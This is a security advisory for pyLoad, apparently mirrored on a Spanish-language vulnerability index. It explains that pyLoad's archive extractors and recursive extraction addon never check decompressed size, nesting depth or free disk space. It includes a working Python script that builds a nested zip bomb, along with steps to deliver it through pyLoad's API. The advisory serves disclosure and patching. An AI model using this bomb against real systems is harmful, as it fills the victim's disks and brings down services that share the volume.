GHSA-F57J-PGW5-F4P8
pyLoad Extraction Chain Has No Resource Limits
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-F57J-PGW5-F4P8 divulgada · CVSS 5.9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
None of pyLoad's extraction plugins (UnZip / UnTar / SevenZip / UnRar / HjSplit) nor the recursive scheduler (ExtractArchive addon) compares the total uncompressed size against the free space of the target disk before extracting. There is no per-archive or aggregate extraction quota and no recursion depth limit. Although `fs.free_space()` and the `general.min_free_space` setting already exist, they are never consumed by the extraction chain (only the download thread `thread_manager.py:308` uses them). An attacker only needs to trick a victim into downloading a highly compressed archive of a few KB to a few MB; when the download finishes and extraction runs automatically, it fills the entire storage volume, and each zip is fully decompressed 3 times over the complete pipeline.
Details
| Field | Value |
| - | - |
| Weakness | CWE-409 (Improper Handling of Highly Compressed Data) |
| Severity | Medium - `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H` (5.9) |
| Affected Version | <= 0.5.0b3.dev (commit `9c7dbb3fbe1b5650bd659ee4bfd4fceaa69a4a83`) |
1. `src/pyload/plugins/extractors/UnZip.py:93,128` — archive fully decompressed three times per extraction; no size validation
89: def verify(self, password=None):
91: with zipfile.ZipFile(self.filename, "r") as z:
93: badfile = z.testzip() # decompresses every member in full to verify CRC (CPU cost, no data written)
106: def extract(self, password=None):
107: self.verify(password) # extract() invokes testzip() a second time
128: z.extractall(self.dest, members=members) # third full decompression, writes to disk — no size validationWithin pyLoad's complete extraction flow, a single archive is fully decompressed three times: `ExtractArchive._extract:447` calls `archive.verify(pw)` for password probing (pass 1, `testzip()`); `UnZip.extract:107` unconditionally calls `self.verify()` again (pass 2); `:128 extractall()` performs the final decompression and write (pass 3). Passes 1 and 2 consume CPU without writing data; pass 3 writes to disk. At no point does the code read `ZipInfo.file_size` and compare it against available disk space.
2. `src/pyload/plugins/extractors/SevenZip.py:329-336` — uncompressed `Size` is parsed but never validated
330: size_str = file_entry.get('Size', '0') # 7z l -slt reports the uncompressed size
334: file_size = int(size_str) # parsed to int and stored in archive_info
344: entries.append({'path': ..., 'size': file_size, ...})
180: p = self.call_cmd(command, "-o" + self.dest, ...) # Σsize is never validated against free space; extraction proceedsThe total uncompressed size is available before extraction begins (`Σ archive_info[].size`); the only consumer of the `size` field is `_find_smallest_file()`, used for password probing. The implementation omits any comparison of the aggregate size against available space prior to invoking the extraction command.
3. `src/pyload/plugins/extractors/UnTar.py:86` — `extractall` without a size cap
157: members = t.getmembers() # for compressed tars this decompresses the entire stream (solely to read member headers)
160: self._safe_extractall(t, self.dest) # :86 tar.extractall(...) — second full decompression plus write, no size capPath traversal, device nodes, and symlinks are mitigated (data filter); resource consumption, however, is not validated. For compressed archives, `getmembers()` decompresses the full stream once to enumerate headers and `extractall()` decompresses it again.
4. `src/pyload/plugins/extractors/HjSplit.py:98-111` — merge loop without bounds checking
92: size_total += chunk_size # total output size is computed before the first write
98: with open(output_path, "wb") as output_file:
104: while True:
105: f_buffer = part_file.read(self.BUFFER_SIZE) # 4096-byte copy loop
107: output_file.write(f_buffer) # no free-space check; writes until ENOSPCHjSplit involves no compression; the output size equals `size_total`, which is computed before the merge begins, yet the value is never validated against available space.
5. `src/pyload/plugins/addons/ExtractArchive.py:271-373` — recursive extraction without depth or aggregate limits
88: ("recursive", "bool", "Extract archives in archives", True) # enabled by default
271: while files_ids: # iterates while extracted output still contains archives
366: if recursive and os.path.isfile(filename):
367: new_files_ids.append((fid, filename, ...)) # nested archives are appended as new targets
373: files_ids = new_files_ids # no depth limit, no aggregate quota, no free-space checkNested archives increase the written volume by one layer per iteration with no aggregate bound; a zip quine would recurse until storage is exhausted.
6. `src/pyload/core/utils/fs.py:29` — `free_space` exists but is never invoked by the extraction chain
The only consumers in the codebase are `thread_manager.py:308` (pre-download `min_free_space` check that sets `self.pause = True` to pause the queue) and API/WebUI display code.
Proof of concept
#### Setup
Docker: `python:3.10-slim`, `--cpus 2 --memory 2g`, with a 20 GiB ext4 loop disk.
####
Bomb script:
# 10 layers x 2 GiB zeros = 20 GiB claimed, ~2 MiB file
import os, zipfile
CHUNK = b"\x00" * (8 << 20) # stream 8 MiB of zeros at a time
def flat(path, size): # one layer: <size> bytes of zeros, deflate (~1000x on zeros)
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
with z.open("zeros.bin", "w", force_zip64=True) as f:
for _ in range(size // len(CHUNK)):
f.write(CHUNK)
inner = "L10.zip"
flat(inner, 2 << 30) # innermost layer
for i in range(9, 0, -1):
outer = "nested.zip" if i == 1 else f"L{i}.zip"
with zipfile.ZipFile(outer, "w", zipfile.ZIP_DEFLATED) as z:
z.write(inner, f"L{i + 1}.zip") # embed previous layer
with z.open(f"zeros_L{i}.bin", "w", force_zip64=True) as f:
for _ in range((2 << 30) // len(CHUNK)):
f.write(CHUNK)
os.remove(inner)
inner = outer
print(f"nested.zip: {os.path.getsize('nested.zip')} bytes -> claims 20 GiB")#### Steps
1. enable ExtractArchive (off by default)
2. `/api/add_package` with the bomb URL -> pyLoad's HTTPDownload plugin downloads it itself
#### Results
Nested bomb (empty 19.5 GiB disk): recursive extraction filled the entire disk in 100 s (df timeline `19.5 GiB → 600 MiB → 16.1 MiB`, 99.9% full). The flat bomb likewise fills the disk.
Impact
The storage volume is filled up → pyLoad crashes/becomes unusable; co-located services sharing the same volume fail with cascading ENOSPC errors.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipyload-ng |
Sin parche | — | — | 0.5.0b3.dev102 no afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/pyload/pyload/security/advisories/GHSA-f57j-pgw5-f4p8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
